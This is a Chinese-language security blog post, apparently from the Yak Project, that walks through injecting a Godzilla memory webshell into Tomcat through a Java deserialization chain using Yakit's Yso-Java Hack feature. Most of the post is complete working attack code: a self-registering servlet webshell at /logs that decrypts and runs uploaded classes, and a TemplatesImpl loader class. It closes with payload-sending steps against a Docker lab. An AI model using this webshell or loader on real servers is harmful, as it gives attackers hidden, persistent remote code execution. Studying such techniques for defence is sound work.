Yso-Java Hack 进阶:利用反序列化漏洞打内存马
2022-12-16 17:32:35 Author: Yak Project(查看原文) 阅读量:32 收藏

01

背景

对于反序列化漏洞利用,一般命令执行后可以直接反弹shell或上线cs,但不出网的情况下想获取目标机器的信息,或进一步利用,就需要用到内存马配合shell管理工具了。

Yso-Java Hack 功能上了有一段时间了,可能有些师傅还不太熟悉,其实使用起来很方便,本篇文章介绍下如何利用反序列化漏洞直接打入内存马。

02

生成内存马

现在Yakit暂时还没有 shell 管理功能,所以就选用哥斯拉做 shell 管理工具。针对哥斯拉的马进行改造,改成servlet内存马。

我用的哥斯拉版本是4.0.1,生成的是jsp马,改成内存马就像下面这样。

import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;public class GodzillaMem extends HttpServlet {    String xc = "3c6e0b8a9c15224a";    String pass = "pass";    static String pattern = "/logs";    static String servletName = "JVMService";    String md5 = md5(pass + xc);    Class payload;    static {        Servlet servlet = new GodzillaMem();        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();        org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();        newWrapper.setName(servletName);        newWrapper.setLoadOnStartup(1);        newWrapper.setServlet(servlet);        newWrapper.setServletClass(servlet.getClass().getName());        standardCtx.addChild(newWrapper);        standardCtx.addServletMappingDecoded(pattern,servletName);    }    public static String md5(String s) {        String ret = null;        try {            java.security.MessageDigest m;            m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();        } catch (Exception e) {        }        return ret;    }
public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
public static byte[] base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); } catch (Exception e2) { } } return value; }
public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch (Exception e) { return null; } }
public Class defClass(byte[] classBytes) throws Throwable { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { byte[] data = base64Decode(req.getParameter(pass)); data = x(data, false); if (payload == null) { payload = defClass(data); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payload.newInstance(); f.equals(arrOut); f.equals(data); f.equals(req); resp.getWriter().write(md5.substring(0, 16)); f.toString(); resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); resp.getWriter().write(md5.substring(16)); } } catch (Throwable e) { } }}

这是一个基础的servlet马,其它的马也是一样的原理。

03

生成Payload

上面改造的 servlet 内存马想通过反序列化链利用还需要进行一些改造。代码执行是通过 TemplatesImpl 对象反序列化时加载类导致的,它在加载类时,只会实例化继承自 AbstractTranslet 的类。

而我们构造的内存马是继承自 HttpServlet ,Java只支持单继承。所以我们可以再写一个继承自 AbstractTranslet 的类来加载内存马。如下,将 base64Class 的值改为上面内存马的base64编码。

package payload;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.Base64;
public class LoadBytesCode extends AbstractTranslet { static String base64Class = "<字节码的base64编码>"; static { byte[] bytes = Base64.getDecoder().decode(base64Class); try { defClass(bytes).getConstructor().newInstance(); } catch (Throwable e) { e.printStackTrace(); } } public static Class defClass(byte[] classBytes) throws Throwable { URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defMethod.setAccessible(true); return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}

编译 LoadBytesCode 类生成 class 后再 base64 编码,在 Yso-Java Hack 功能里选择链,恶意类选择 FromBytes,填入字节码,生成hex格式数据。

04

实战演练

先在本地搭建一个测试环境,源码如下:

这里已经给需要测试的师傅打包好了docker环境,docker运行下就可以: docker run -p 8080:8080 -itd --name="deserilize_test" z3r0ne0/deserilize_test

启动环境后,使用 Web Fuzzer 发送 payload

GET / HTTP/1.1Host: localhost:8080
{{hexdec(<之前复制的payload>)}}

访问 http://localhost:8080/logs 发现405错误,而不是404,说明注册servlet成功了

使用哥斯拉连接成功

05

总结

Yso-Java Hack 帮我们完成了很多需要代码操作的事情,而且支持自定义恶意类,可扩展性还是很强的,希望本篇文章可以给师傅们一些新思路,提高工作效率。

参考文章:https://paper.seebug.org/1885/

06

往期推荐

Yakit实战技巧:用MITM热加载任意修改流量
安全基础设施|Yaklang SQL Injection 检测启发式算法
YakVM:编写栈机虚拟机分离语法编译与运行时
仅需10秒!从批量爆破请求中提取关键数据,安全能力基座功能强化ing
新功能:史上最好用的反连&JavaHack,安全能力基座强化ing


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&mid=2247491910&idx=1&sn=d4c14ede2b6e6ccba88f83d547192931&chksm=c2d19de2f5a614f4bf5fd123fb1eb89883381fd81d811fe3181889f896d4947af90971f001f5#rd
如有侵权请联系:admin#unsafe.sh